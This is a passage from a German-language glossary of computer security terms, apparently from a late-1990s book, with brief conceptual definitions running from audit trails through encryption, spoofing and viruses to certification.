das Zielsystem ausgearbeitet wurde.
Audit-Trail - Protokolle, schriftliche Dokumente und andere Aufzeichnungen, die die Aktivität und
Benutzung eines bestimmten Systems aufzeigen. Audit-Trails sind von besonderer Bedeutung, wenn
eine Untersuchung durchgeführt wird. Ohne ein Minimum an solchen Aufzeichnungen hat ein
Administrator praktisch keine Chance, Cracker zu erwischen. Ein Audit-Trail ist einfach ausgedrückt
das Beweismaterial.
Authentication Server Protocol - Ein auf TCP basierender Authentifizierungsdienst, der die Identität
eines Benutzers verifizieren kann. Siehe RFC 931.
Authentifizieren - Überprüfen der Identität (und damit der Berechtigung) eines bestimmten Benutzers
oder Hosts.
Authentifizierung - Der Vorgang des Authentifizierens eines Benutzers oder Hosts. Eine solche
Authentifizierung kann einfach sein und auf der Anwendungsebene stattfinden (ein Paßwort
anfordernd). Sie kann jedoch auch sehr komplex sein (wie bei Challenge-Response-Dialogen zwischen
Rechnern, die im allgemeinen auf Algorithmen oder Verschlüsselung auf einer diskreten Ebene des
Systems beruhen).
Automatisiertes Informationssystem (AIS) - Jedes System (bestehend aus Hard- und Software), das
die Wartung, Speicherung und Verarbeitung von Informationen ermöglicht.
Backup - Die Sicherung von Dateisystemen oder Dateien, normalerweise zur Wiederherstellung nach
Datenverlusten. Ein Backup wird im allgemeinen auf Band, Diskette oder anderen portablen Medien
erstellt, die an anderer Stelle sicher aufbewahrt werden können.
Bastion Host - Ein Server, der gegen Attacken besonders geschützt ist und deshalb außerhalb einer
Firewall verwendet werden kann. Oft eine Art »Opfergabe«.
Bell-La Padula Modell - Ein System für die Zugriffskontrolle, das auf Formeln mit der Notwendigkeit
des Zugriffs durch den Benutzer und der Sensibilität der Daten beruht. (Zum Beispiel greifen weniger
Benutzer auf sensible Daten zu, und die Mechanismen zum Schutz dieser Daten sind strenger, genau
wie die Methoden der Zugriffskontrolle und Authentifizierung, die mit ihnen verbunden sind.)
Benutzer - Jeder, der ein Computersystem oder Systemressourcen benutzt.
Glossar
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Benutzer-ID - Im allgemeinen eine Kennung, durch die ein Benutzer identifiziert wird, einschließlich
seines Benutzernames. Konkreter, und in bezug auf Unix und andere Mehrbenutzersysteme, jede
Prozeß-ID - im allgemeinen ein Zahlenwert -, die den Eigentümer eines bestimmten Prozesses
identifiziert. Siehe Eigentümer und Benutzer.
Benutzungsrichtlinien (Acceptable Use Policy - AUP) - Ursprünglich von der National Science
Foundation aufgestellt, untersagte die AUP früher die Verwendung des Internet zu kommerziellen
Zwecken. Heute bezieht sich der Begriff Benutzungsrichtlinien auf die Vorschriften, an die sich ein
Benutzer halten muß, wenn er die Dienste eines ISP in Anspruch nimmt.
Biometrische Zugriffskontrollen - Systeme, die Benutzer mit Hilfe physischer Merkmale
authentifizieren, wie z.B. Gesicht, Fingerabdruck, Netzhautmuster oder Stimme.
Bug - Ein Sicherheitsloch oder eine Schwachstelle eines Computer-Programms. Siehe
Sicherheitslücke.
Cast-128 - Ein Verschlüsselungsalgorithmus, der extrem große Schlüssel verwendet und in
Verschlüsselungsanwendungen integriert werden kann. (Weitere Informationen finden Sie in RFC
2144.)
CERT - Abkürzung für »Computer Emergency Response Team«. Das CERT ist eine
Sicherheitsorganisation, die sich zum Ziel gesetzt hat, den Betreibern von Computer-Netzwerken zu
helfen, die von böswilligen Benutzern oder Crackern attackiert werden. Sie finden sie unter
http://www.cert.org/.
Certificate Authority - Siehe Zertifizierungsstelle.
CGI-basierter Angriff - Ein Angriff, der Sicherheitslücken in CGI-Programmen ausnutzt,
üblicherweise über eine WWW-Site.
Challenge Handshake Authentication Protocol (CHAP) - Ein Protokoll zur Authentifizierung von
Benutzern. Die Identität des Initiators einer Verbindung wird überprüft, und falls diese nicht korrekt ist,
wird ihm der Zugriff auf die gewünschte Ressource verweigert. Weitere Informationen finden Sie in
RFC 1344. (Dieses Protokoll wird gewöhnlich für den Aufbau von PPP-Sitzungen verwendet.)
chroot - Eine eingeschränkte Umgebung, in der Prozesse nur mit begrenztem Zugriff auf die Festplatte
laufen; die Technik (und der Befehl) zum Erzeugen einer solchen Umgebung (Unix).
Common Gateway Interface (CGI) - Bezieht sich auf einen Programmierstil und Standard, der
verwendet wird, um Websites mit einer höheren Funktionalität zu versehen. Suchmaschinen werden im
allgemeinen gemäß den CGI-Spezifikationen programmiert. (CGI-Standards sind nicht
plattformspezifisch und stellen einen allgemeinen Standard für jede Art des Web-basierten
Programmierens zur Verfügung.) Perl ist die gegenwärtig beliebteste Programmiersprache für die
CGI-Programmierung. CGI-Programme können jedoch auch in C, C++, Python, Visual Basic, Basic
und verschiedenen Shell-Sprachen verfaßt werden.
COPS - Computer Oracle and Password System; ein systembasiertes Tool, das Ihren lokalen Host auf
häufige Konfigurationsprobleme und Sicherheitslücken durchsucht. (Entwickelt von Gene Spafford
und Dan Farmer.)
Glossar
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Crack - Eine Software (oder eine Technik), die verwendet wird, um Sicherheitsvorkehrungen zu
umgehen, wie z.B. der berühmte Paßwort-Knacker Crack.
Cracker - Jemand, der mit böswilligen Absichten und unter Übertretung des Gesetzes die Sicherheit
eines Computersystems verletzt; jemand, der die Registrierungsschemata von kommerzieller Software
überwindet.
Cyberkrieg - Bezieht sich auf den aktiven Informationskrieg, der über das Internet geführt wird.
DAC (Discretionary Access Control) - Wahlweise Zugriffskontrolle; Systeme, durch die eine zentrale
Autorität in einem Computersystem oder -netzwerk Benutzern den Zugriff entweder erlauben oder
verweigern kann, basierend auf Uhrzeit, Datum, Datei, Verzeichnis oder Rechner.
Datengesteuerter Angriff - Ein Angriff, der auf verborgenen oder gekapselten Daten beruht, die
unentdeckt durch eine Firewall gelangen könnten. (Java und JavaScript können für solche Angriffe
verwendet werden.)
Datenintegrität - Dieser Begriff bezieht sich auf den Zustand von Dateien. Wenn Dateien unverändert
sind und nicht manipuliert worden sein können, verfügen sie über Integrität. Wenn sie manipuliert
worden sind, wurde ihre Integrität verletzt oder vermindert.
DES (Data Encryption Standard) - Eine von IBM 1974 entwickelte und 1977 veröffentlichte
Spezifikation zur Verschlüsselung von Computerdaten.
Digest Access Authentication - Eine Sicherheitserweiterung für das Hypertext Transfer Protocol, die
nur eine grundlegende (und nicht verschlüsselte) Authentifizierung von Benutzern über das Web
ermöglicht. Mehr Informationen finden Sie in RFC 2069.
Digitales Zertifikat - Jeder digitale Wert, der in einer Authentifizierungsprozedur verwendet wird.
Digitale Zertifikate sind normalerweise Zahlenwerte, die von kryptographischen Prozessen abgeleitet
werden. (Es gibt viele Werte, die als Basis eines digitalen Zertifikates verwendet werden können, unter
anderem biometrische Werte wie Netzhaut-Scans.)
DNS-Spoofing - Eine Angriffstechnik, bei der dem Zielsystem falsche Daten eines DNS zugespielt
werden. Dies kann entweder durch die Manipulation des DNS selbst erfolgen oder durch
Man-In-The-Middle-Angriffe (bei denen Ihr Rechner sich als der legitime DNS-Server ausgibt).
DoD (Department of Defense) - US-Verteidigungsministerium.
DoS - Abkürzung für Denial of Service; ein Zustand, der auftritt, wenn ein Benutzer mit böser Absicht
einen Internet-Server außer Gefecht setzt und dadurch legitimen Benutzern den Zugriff auf dessen
Dienste versagt.
Dual Homed Gateway - Die Konfiguration eines Rechners, der zwei oder mehrere verschiedene
Protokolle oder Arten des Netzwerktransports unterstützt und Paketfilterung zwischen ihnen anbietet.
EFT - Electronic Funds Transfer.
Eigentümer - Die Person (oder der Prozeß) mit dem Recht, eine bestimmte Datei, ein Verzeichnis oder
einen Prozeß zu lesen, zu schreiben oder anderweitig darauf zuzugreifen. Solche Eigentumsrechte
werden vom Administrator erteilt. Allerdings können sie in bestimmten Fällen auch automatisch durch
das Betriebssystem zugewiesen werden.
Glossar
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Einbruchserkennung (Intrusion Detection) - Der Einsatz von automatisierten Verfahren und
Anwendungen zum Entdecken von Einbruchsversuchen. Das beinhaltet normalerweise die
Verwendung von intelligenten Systemen oder Agenten.
Einbruchsversuch (Systempenetration) - Der Vorgang des Angreifens eines Hosts von außen zur
Feststellung entfernter Sicherheitslücken.
Einmalpaßwort - Ein während eines Challenge-Response-Austausches dynamisch generiertes
Paßwort. Solche Paßwörter werden mit Hilfe eines vordefinierten Algorithmus erzeugt, aber da sie nur
für die aktuelle Sitzung gültig sind, sind sie extrem sicher.
Entführen - Dieser Begriff bezieht sich auf das »Entführen« eines Terminals, wenn ein Angreifer sich
die Kontrolle über die Sitzung eines anderen Benutzers verschafft. Das kommt selten vor, und wenn es
passiert, ist es ein Anzeichen dafür, daß die Sicherheit des Zielsystems durchbrochen worden ist.
Ethernet-Spoofing - Jede Methode, die beinhaltet, daß man die Ethernet- Adresse eines fremden Hosts
vortäuscht, um sich unbefugten Zugang zu dem Zielsystem zu verschaffen.
Firewall - Im weitesten Sinne jede Einrichtung oder Technik, die unbefugten Benutzern den Zugriff
auf einen bestimmten Host verweigert. Konkreter ein Gerät, das jedes Paket untersucht und seine
Ursprungsadresse feststellt. Wenn diese Adresse in einer genehmigten Liste steht, erhalten die Pakete
Zutritt. Wenn nicht, werden sie zurückgewiesen.
Flooder - Ein Tool, das die Verbindungswarteschlange von TCP/IP-Systemen zum Überlauf bringt und
dadurch ein Versagen des Dienstes (Denital of Service, DoS) hervorruft.
Frame Relay - Die Frame-Relay-Technologie erlaubt Netzwerken den Transfer von Informationen im
Burst-Modus. Dies ist eine kostengünstige Methode für die Datenübertragung über Netzwerke, da Sie
nur für die Ressourcen zahlen müssen, die Sie nutzen. (Leider kann es auch sein, daß Sie Ihre Frame-
Relay-Verbindung mit jemand anderem teilen müssen. Die üblichen Frame- Relay-Verbindungen
ermöglichen 56Kbps.)
FTP-Sicherheitserweiterungen - Erweiterungen des File Transfer Protocol, die eine Authentifizierung
und Überprüfung der Integrität und Vertrauenswürdigkeit für FTP-basierte Sitzungen ermöglichen.
Siehe RFC 2228.
Gemeinsame Nutzung (Sharing) - Benutzern an anderen Rechnern erlauben, auf Dateien und
Verzeichnisse Ihres eigenen zuzugreifen. Die gemeinsame Dateinutzung (Filesharing) ist bei LANs
ziemlich üblich und kann manchmal ein Sicherheitsrisiko darstellen.
Gigabit - 10003 = 1.000.000.000 oder 10243 = 1.073.741.824 Bit, je nachdem, ob Sie Plattenhersteller
sind (und weniger Bit pro Pfennig verkaufen wollen) oder ob Sie sich streng an die Konvention halten
wollen. Bits sind nicht zu verwechseln mit Bytes: 1 Byte = 8 Bit.
Granularität - Der Grad der Abstufung von Zugriffskontrollen. Je differenzierter die
Zugriffskontrollen eingestellt werden können, desto mehr Granularität hat das System.
Hacken - Alle von einem Hacker durchgeführten Aktivitäten.
Hacker - Jemand, der sich für Betriebssysteme, Software, Sicherheit und das Internet im allgemeinen
interessiert. Auch ein Programmierer; jemand, der mit Programmieren seinen Lebensunterhalt verdient.
Glossar
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Hintertür - Ein verstecktes Programm, das ein Eindringling oder ein verärgerter Mitarbeiter
zurückgelassen hat und das ihm zukünftig den Zugriff auf diesen Host verschafft.
HTPASSWD - Ein System, das verwendet wird, um Seiten auf einem Webserver mit einem
Paßwortschutz zu versehen (Unix).
Hypertext Transfer Protocol (HTTP) - Das Protokoll, das verwendet wird, um den Hypertext-Zugriff
auf Informationen im World Wide Web zu ermöglichen. Das Protokoll, auf dem das dem WWW
basiert.
IDEA (International Data Encryption Algorithm) - IDEA ist ein leistungsfähiges
Verschlüsselungssystem. Es ist ein blockweiser Verschlüsselungsalgorithmus, der standardmäßig einen
128-Bit-Schlüssel verwendet. IDEA verschlüsselt Daten schneller als DES.
IDENT (Identification Protocol) - Ein TCP-basiertes Protokoll zur Identifizierung von Benutzern. Es
beinhaltet eine Anfrage des Servers an den Client einer TCP-Verbindung, welcher Benutzer die
Verbindung geöffnet hat. Die Information darüber ist in der Regel nicht vertrauenswürdig, weil der
befragte Client keinen Beweis über die Richtigkeit seiner Information erbringen muß.
Informationskrieg - Die Praxis oder das Gebiet des Angreifens von Informationen anderer Personen
oder Organisationen. Dieser Begriff wird häufig im Militär- oder Spionage-Umfeld verwendet, um die
Zerstörung, Abwertung oder Zerstückelung der Informationsinfrastruktur einer ganzen Nation zu
beschreiben.
Internet Protocol Security Option - IP-Sicherheitsoption, die zum Schutz von IP-Datagrammen
gemäß den US-Klassifikationen verwendet wird (nicht klassifiziert, als geheim oder als streng geheim
klassifiziert). Siehe auch RFC 1038 und RFC 1108.
Internet-Wurm - Auch Morris-Wurm genannt; ein Programm, das das Internet im November 1988
angriff. Einen guten Überblick über diesen Angriff gibt RFC 1135.
Intrusion Detection - Siehe Einbruchserkennung.
IP - Internet Protocol.
IP-Spoofing - Jedes Verfahren, bei dem der Angreifer die IP-Adresse eines anderen Hosts vortäuscht,
um sich unautorisierten Zugriff auf das Zielsystem zu verschaffen.
ISO - International Organization for Standardization. Arbeitet an der weltweiten Vereinheitlichung
technischer Standards.
jack in - Slang-Begriff, den Cracker für den Vorgang der Verletzung der Sicherheit eines Internet
Information Servers verwenden. Er bedeutet eigentlich so viel wie »Einloggen«.
Java - Eine von Sun Microsystems entwickelte Netzwerk-Programmiersprache, die C++ geringfügig
ähnelt. Sie ist objektorientiert und nutzt die Netzwerkunterstützung des Internet aus. Sie kann zum
Erstellen von grafischen Anwendungen, Multimedia-Anwendungen und sogar eigenständigen,
fensterorientierten Programmen verwendet werden. Java ist jedoch am meisten für seine
plattformübergreifenden Möglichkeiten bekannt. Java hat ein paar eigene Sicherheitsprobleme.
Glossar
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JavaScript - Programmiersprache, die in Netscape- und Internet-Explorer- Umgebungen verwendet
wird. JavaScript wurde von Netscape Communications entwickelt und unterstützt die meisten
Programmierfunktionen. (Sie wird verwendet, um Webseiten mit mehr Funktionalität zu versehen, und
ist außerdem ein Eckpfeiler von Dynamic HTML, einer neuen Möglichkeit zur Erstellung von
Webseiten, die viele Multimedia-Eigenschaften unterstützt.)
Kerberos - Verschlüsselungs- und Authentifizierungssystem, das vom Massachusetts Institute of
Technology (MIT) entwickelt wurde. Es wird bei vielen Netzwerkanwendungen eingesetzt und
funktioniert auf Grundlage eines Systems von Tickets und vertrauenswürdigen Drittservern zur
Authentifizierung.
Kerberos Network Authentication Service - Ein auf Tickets basierendes Authentifizierungsschema
eines Drittanbieters, das sich einfach in Netzwerkanwendungen integrieren läßt. Mehr Informationen
dazu finden Sie in RFC 1510.
Knacken - Das Verletzen der Sicherheit eines Systems oder das Überwinden des
Registrierungsschemas von kommerzieller Software.
Kopierzugriff - Wenn ein Benutzer Kopierzugriff hat, bedeutet das, daß er das Recht hat, eine
bestimmte Datei zu kopieren.
Lesezugriff - Wenn ein Benutzer Lesezugriff hat, bedeutet das, daß er das Recht hat, eine bestimmte
Datei zu lesen.
Logische Bombe - Jedes Programm oder Code - im allgemeinen bösartiger Natur - das zum Aufhängen
oder Absturz eines Systems führt.
MD4 - Ein Message-Digest-Algorithmus, der zur Überprüfung der Integrität von Dateien verwendet
wird. RFC 1186 enthält die Original-Spezifikation.
MD5 - Ein Message-Digest-Algorithmus, der zur Überprüfung der Integrität von Dateien verwendet
wird. RFC 1321 enthält die Original-Spezifikation.
Mißbrauch von Privilegien - Wenn Benutzer ihre Privilegien dazu mißbrauchen, gegen Richtlinien zu
verstoßen oder ihre Kompetenzen zu überschreiten.
MTU - Maximale Übertragungseinheit (maximum transmission unit) - Dies ist ein vom
Netzwerkprotokoll definierter Parameter, der das größte übertragbare Paket definiert. Viele Anwender
verändern diesen Wert und erzielen oft dadurch eine bessere Übertragungsleistung, daß sie ihn
verringern oder erhöhen.
NASIRC - NASA Automated Systems Incident Response Capability. Eine Regierungsabteilung der
USA, die Sicherheitsvorfällen nachgeht. NASIRC finden Sie unter
http://www-nasirc.nasa.gov/nasa/index.html.
NCSC - National Computer Security Center; URL:
http://www.radium.ncsc.mil/.
netstat - Unix-Befehl (auch unter Windows verfügbar), der die aktuellen TCP/ IP-Verbindungen und
ihre Ursprungsadressen anzeigt.
Glossar
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npasswd - Ein proaktiver Paßwortprüfer für Unix, der mögliche Paßwörter überprüft, bevor sie zu der
Paßwortdatei hinzugefügt werden. Sie erhalten ihn hier: ftp://ftp.cc.utexas.edu/pub/npasswd/.
NSA - National Security Agency. Verantwortlich für den Schutz klassifizierter und nicht klassifizierter
nationaler Sicherheitssysteme der USA vor Abhören, unbefugtem Zugriff oder ähnlichen Gefahren
durch technische Spionage. Ihre URL ist: http://www.nsa.org/.
Paßwort-Shadowing - Das Paßwort-Shadowing ist eine Technik, die verwendet wird, um Cracker
daran zu hindern, an verschlüsselte Paßwörter zu gelangen. Dabei wird das verschlüsselte Paßwort
zusammen mit dessen Gültigkeitsdauer und einer Reihe anderer Daten in der für den normalen
Benutzer nicht lesbaren Datei /etc/shadow untergebracht. In der Datei /etc/passwd wird dieses Paßwort
dann abstrakt durch ein Token repräsentiert, das normalerweise aus einem einzigen Zeichen besteht.
Perl - Practical Extraction and Reporting Language; eine Programmiersprache, die häufig in der
Netzwerk- und CGI-Programmierung eingesetzt wird. Perl verfügt über Eigenschaften, durch die es
sich außergewöhnlich gut für Aufgaben der Systemadministration auf Unix-Plattformen eignet. Eine
Haupteigenschaft von Perl ist die Fähigkeit, unüberschaubare Datenmengen (wie z.B. Log-Dateien) in
ein gut lesbares und verständliches Format zu konvertieren. (Perl bietet auch leistungsfähige
Netzwerkunterstützung und ist eine ausgezeichnete Wahl, wenn Sie sich der Socket-Programmierung
zuwenden wollen.)
Phreaken - Das Manipulieren von Telefonsystemen; normalerweise illegal.
PPP - Point-to-Point Protocol. PPP ist ein Datenverbindungsprotokoll, das zwischen Rechnern
verwendet wird, die serielle Schnittstellen wie Modems unterstützen. PPP wird gewöhnlich für
Einwählverbindungen zu Internet Service Providern verwendet.
PPP DES - Das PPP-DES-Verschüsselungsprotokoll, das Point-to-Point-Verbindungen durch den Data
Encryption Standard schützt. (Dies ist eine Methode, um PPP-Verkehr davor zu schützen, ausspioniert
zu werden.) Mehr Informationen enthält RFC 1969.
PPP-Authentifizierungsprotokolle - Eine Reihe von Protokollen, die zur Erhöhung der Sicherheit des
Point-to-Point Protocol verwendet werden können und die sowohl auf Router- als auch Host-Ebene
unterstützt werden. Siehe auch RFC 1334.
PPTP - Point-to-Point Tunneling Protocol. PPTP ist eine Spezialversion von PPP und ermöglicht die
Kapselung von Nicht-TCP/IP-Protokollen innerhalb von PPP. PPTP erlaubt die Verbindung von zwei
oder mehreren LANs über das Internet. (Das ist ein großer Fortschritt, da die Notwendigkeit der teuren
Mietleitungen entfallen ist, die eine solche Verbindung früher in vielen Fällen unbezahlbar machten.)
Prüfsumme - Ein kryptographischer Wert, der den digitalen Fingerabdruck einer Datei darstellt.
Virenscanner und Audit-Tools verwenden Prüfsummen, um an den Dateien vorgenommene
Änderungen aufzuspüren (erstere zum Prüfen, ob ein Virus angehängt wurde, und letztere zur Prüfung
auf Trojanische Pferde).
RARP (reverse address resolution protocol) - Protokoll zur umgekehrten Adreßauflösung. Ein
Protokoll zur Bestimmung der IP-Adresse über die Ethernet-Adresse. Wird beim Booten mancher
Rechner über ein Netzwerk verwendet, gilt aber als veraltet.
Glossar
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RFC (request for comment) - RFCs sind Arbeitsnotizen der Internet-Entwicklungsgemeinde. Sie
werden oft als Vorschläge für neue Standards verwendet. Sie finden sie unter http://rs.internic.net.
Risiko-Management - Das Gebiet der Bestimmung von Sicherheitsrisiken, des Entwickelns von
Lösungen und der Implementierung solcher Lösungen, basierend auf einer Kosten-Nutzen-Analyse.
Router - Ein Gerät, das Pakete in und aus einem Netzwerk routet. Viele Router sind hochentwickelt
und können als Firewall dienen. Ein Router besitzt immer mehrere physikalische Interfaces
(»Beinchen«), mit denen einzelne Subnetze miteinander gekoppelt werden. In jedem dieser Subnetze
hat ein IP- Router eine IP-Adresse, die sogenannte Gateway-Adresse. Liegt die Zieladresse eines
Pakets nicht innerhalb des Subnetzes, dann wird es an das Gateway (den Router) weitergereicht, der
den weiteren Transport erledigt.
RSA - RSA (nach seinen Entwicklern Rivest, Shamir und Adleman benannt) ist ein
Verschlüsselungsalgorithmus mit einem Paar aus einem geheimen und einem öffentlichen Schlüssel.
RSA ist wahrscheinlich der populärste dieser Algorithmen und wurde in viele kommerzielle
Anwendungen integriert, unter anderem Netscape Navigator, Communicator, Secure Shell und sogar
Lotus Notes. Mehr über RSA erfahren Sie unter http://www.rsa.com/.
Rückruf (call back) - Rückrufsysteme implementieren die Sicherheit auf recht interessante Weise: Ein
Host verbindet sich mit dem Server, und es erfolgt ein kurzer Austausch, nach dem die Verbindung
gekappt wird. Dann ruft der Server den Host zurück. Auf diese Weise stellt der Server sicher, daß die
Verbindung auch wirklich von dem richtigen Rechner initiiert wurde. Rückruf wird vor allem beim
Öffnen von ISDN-Datenverbindungen benutzt, weil damit sichergestellt wird, daß auch wirklich ein
berechtigter Anschluß die Verbindung bekommt.
S/Key - Einmalpaßwortsystem zur Absicherung von Verbindungen. Bei S/Key verfallen Paßwörter
sofort nach deren Benutzung, so daß das Sniffen solcher Paßwörter zwecklos ist. Mehr Informationen
finden Sie in RFC 1760.
SATAN - Security Administrator's Tool for Analyzing Networks. Ein Scanner, der entfernte Hosts auf
übliche Fehlkonfigurationen und Sicherheitslücken überprüft.
Scanner - Jedes Utility, das entfernte Hosts untersucht und dabei nach Schwachstellen bei deren
Sicherheit sucht.
Schreibzugriff - Wenn ein Benutzer Schreibzugriff hat, bedeutet dies, daß er das Recht hat, eine
bestimmte Datei zu beschreiben.
SET (secured electronic transaction) - Ein Standard für sichere Protokolle im Zusammenhang mit
E-Commerce und Kreditkarten-Transaktionen. (Visa und MasterCard sind die Hauptbeteiligten an der
Entwicklung des SET-Protokolls.) Sein vorgeblicher Zweck ist es, den elektronischen Handel sicherer
zu machen.
Shadowing - Siehe Paßwort-Shadowing.
Shell - Im allgemeinen ein Befehlsinterpreter oder jedes Programm, das Standardeingaben annimmt
und diese Befehle an das System weitergibt. Konkreter eine der Shells bei Unix (csh, tcsh, sh, ksh,
bash, ash oder zsh), COMMAND.COM bei DOS oder CMD.EXE bei Windows NT.
Glossar
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Shell-Script - Shell-Scripts sind kleine Programme - in Shell-Sprachen geschrieben -, die ähnlich wie
Stapeldateien funktionieren. Sie bestehen aus verschiedenen Operationen mit regulären Ausdrücken,
Leitungen, Umleitungen, Systemaufrufen und so weiter. Shell-Scripts bieten die Möglichkeit, Befehle
wie auf der Kommandozeile zum Zweck der Automatisierung in einem Text zusammenzuschreiben
und damit zu modularisieren.
Sicherheitsaudit - Eine Prüfung (oft durch Dritte) der Sicherheitskontrollen eines Servers und
Disaster-Recovery-Mechanismen.
Sicherheitslücke (Sicherheitsloch) - Dieser Begriff bezieht sich auf jede Schwäche in einem System
(entweder der Hard- oder Software), die es Eindringlingen ermöglicht, sich unautorisierten Zugang zu
verschaffen oder das System lahmzulegen.
Site Security Handbook - Ein ausgezeichnetes Dokument, das die grundlegenden
Sicherheitsmaßnahmen bei der Wartung einer Site beschreibt. Jeder Systemadministrator sollte dieses
Dokument haben. Sie finden es in RFC 2196.
Smartcards - Kleine Plastikkarten, die sehr viel Ähnlichkeit mit Kreditkarten haben. Smardcards sind
jedoch weiter entwickelt als Kreditkarten und enthalten winzige Mikroprozessoren, die Daten speichern
können.
Sniffer - Programm, das heimlich Datagramme abfängt, die über ein Netzwerk gesendet werden. Es
kann auf legitime Weise verwendet werden (von einem Ingenieur, der versucht, Netzwerkprobleme zu
diagnostizieren) oder unrechtmäßig (von einem Cracker, der darauf aus ist, Benutzernamen und
Paßwörter zu stehlen).
SNMP-Sicherheitsprotokolle - Das Simple Network Management Protocol wird für die
Fernverwaltung und den Schutz von Netzwerken und Hosts verwendet. Es gibt innerhalb des
SNMP-Paketes eine Reihe von Protokollen, die sich auf die Sicherheit beziehen. Sie finden mehr
Informationen darüber in RFC 1352.
Social Engineering - Begriff aus dem Cracker-Jargon. Eine Vorgehensweise, mit der man
unvorsichtiges Personal dazu verleitet oder überredet, Paßwörter oder andere Informationen über ihr
Netzwerk preiszugeben.
SOCKS-Protokoll - Ein Protokoll, das eine ungesicherte Firewall-Durchquerung für TCP-basierte
Dienste ermöglicht.
SP3 - Netzwerkschicht-Sicherheitsprotokoll.
SP4 - Transportschicht-Sicherheitsprotokoll.
Spoofing - Jede Vorgehensweise, die beinhaltet, daß sich jemand als ein anderer Benutzer oder Host
ausgibt, um unautorisierten Zugriff auf das Zielsystem zu erhalten.
SSL (Secure Socket Layer) - Ein Sicherheitsprotokoll (entwickelt von Netscape Communications),
das Client-Server-Anwendungen eine Kommunikation ermöglicht, die nicht abgehört, manipuliert oder
gefälscht werden kann. SSL wird auch zur Sicherung des elektronischen Zahlungsverkehrs verwendet.
Mehr Informationen finden Sie unter http://home.netscape.com/eng/ssl3/ draft302.txt.
Glossar
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Tastatur-Recorder - Ein Programm, das heimlich die Tastatureingaben eines nichtsahnenden Opfers
aufzeichnet. Diese Tools werden verwendet, um von jemandem den Benutzernamen und das Paßwort
zu stehlen.
tcpdump - Utility aus der Unix-Welt, das eine sehr detaillierte Protokollierung des Netzverkehrs
ermöglicht. tcpdump ist also ein Sniffer, der auf Netzwerkanalyse spezialisiert ist.
Telnet Authentication Option - Protokolloptionen für Telnet, die Telnet- basierte Verbindungen mit
einer grundlegenden Sicherheit versehen und auf Regeln basieren, die auf Source-Routing-Ebene
greifen. Vgl. RFC 1409.
TEMPEST - Transient Electromagnetic Puls Surveillance Technology. TEMPEST ist die Praxis und
die Untersuchung des Abfangens oder Abhörens von elektromagnetischen Signalen, die von
irgendeinem Gerät ausgehen - in diesem Fall einem Computer. Eine TEMPEST-Abschirmung ist jedes
Computer- Sicherheitssystem, das zur Abwehr eines solchen Abhörens entwickelt worden ist.
Traceroute - Ein TCP/IP-Programm, das die Route eines IP-Pakets zwischen Ihrem Rechner und
einem entfernten Host verfolgt und aufzeigt.
Trojanisches Pferd - Eine Anwendung oder Code, der ohne Wissen des Benutzers heimlich und
unautorisiert Aufgaben durchführt. Diese Aufgaben können die Systemsicherheit verletzen.
Tunneling - Das Einpacken einer einzelnen IP-Verbindung oder gleich des ganzen Netzwerkverkehrs
in IP-Pakete zum Zweck des transparenten (also für den Netzwerkbenutzer, ob Programm oder
Mensch, unsichtbaren) Transports. Meist wird dafür das IPIP-Protokoll verwendet (IP in IP). Da es
leicht möglich ist, diesen Datenstrom zu verschlüsseln, kann man mit Tunneling ein lokales Netzwerk
über eine beliebige Entfernung virtuell ausdehnen (siehe VPN). SSH (Secure Shell) kann
Port-Verbindungen von einem Rechner zu einem anderen durch einen verschlüsselten Tunnel
weiterreichen (Port-Forwarding, Port-Tunneling).
UDP (User Datagram Protocol) - Ein verbindungsloses Protokoll aus der IP- Familie. Verbindungslose
Protokolle übertragen Daten zwischen zwei Hosts, obwohl diese Hosts keine aktive virtuelle
Verbindung haben. Der Zielhost muß also die übertragenen Daten angefordert haben und darauf
warten. UDP wird oft dann verwendet, wenn es unzweckmäßig ist, daß eine Datenverbindung einen
Verbindungsstatus hat, etwa bei Video- oder Audiokonferenzen, bei denen ohne großen Schaden Daten
verlorengehen und nicht ersetzt werden können und bei denen mehrere Hosts gleichzeitig beteiligt sein
können. Daten in UDP-Paketen sind also Fragmente, über deren Sequenz und Vollständigkeit die
Anwendungsschicht wachen muß.
UID - Siehe Benutzer-ID.
Verkehrsanalyse - Verkehrsanalyse ist die Untersuchung von Mustern bei der Kommunikation und
weniger des Inhalts der Kommunikation. Es wird z.B. untersucht, wann, wo und zu wem bestimmte
Nachrichten gesendet werden, ohne den Inhalt dieser Nachrichten zu untersuchen. Eine
Verkehrsanalyse kann aufschlußreich sein, besonders bei der Bestimmung von Beziehungen zwischen
Einzelpersonen und Hosts.
Glossar
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Verschlüsselung - Der Prozeß der Codierung von Daten, so daß sie von unautorisierten Personen nicht
gelesen werden können. Bei den meisten Verschlüsselungsschemata benötigen Sie zum Entschlüsseln
der Daten ein Paßwort. Verschlüsselung wird vorrangig verwendet, um die Privatsphäre oder geheime
Informationen zu schützen.
Vertrauenswürdiges System - Ein Betriebssystem oder anderes System, das für Umgebungen sicher
genug ist, in denen geheime Informationen aufbewahrt werden.
Virtuelles Privates Netzwerk (VPN) - Die VPN-Technologie ermöglicht Unternehmen mit
Mietleitungen, untereinander ein geschlossenes und sicheres Leitungssytem über das Internet zu bilden.
Auf diese Weise stellen Unternehmen sicher, daß Daten zwischen ihnen und ihren Gegenübern sicher
(und normalerweise verschlüsselt) übertragen werden. Siehe auch Tunneling.
Virus - Per Definition ist ein Virus ein Programm, das sich selbst kopiert. Um das zu tun, hängt es sich
an oder in Dateien und/oder schreibt sich in den Boot- Sektor der Festplatte. Als zum Teil
unangenehme Nebenwirkung haben manche Viren zerstörende Auswirkungen auf die Funktionalität
der Software eines Computers, in einigen wenigen Fällen auch auf die Hardware. Viren sind für
Betriebssysteme, die nicht von Microsoft hergestellt werden, extrem unüblich. Für Unix und
Unix-ähnliche (Linux) Betriebssysteme existiert nur ein Virus, der aber nicht ernst zu nehmen ist.
WAN - Wide Area Network.
warez - Gestohlene oder geknackte Software; warez werden oft im Usenet gehandelt.
Wurm - ein Computerprogramm (nicht notwendigerweise bösartig), das sich vervielfältigt und sich
von Host zu Host über das Netzwerk ausbreitet. Würmer verbrauchen manchmal sehr viele
Netzwerkressourcen und sind daher DoS- Attacken.
Zeitbombe - Jedes Programm, das auf eine bestimmte Uhrzeit oder ein Ereignis wartet, um mit meist
destruktiver Wirkung in Aktion zu treten. Siehe auch Logische Bombe.
Zertifizierung - Es gibt zwei übliche Definitionen dieses Begriffs. Erstens kann Zertifizierung sich auf
das Ergebnis einer erfolgreichen Prüfung eines Sicherheitsproduktes oder -systems beziehen. In diesem
Zusammenhang wurde ein Produkt auf einer bestimmten Ebene der Sicherheit zertifiziert. Die andere
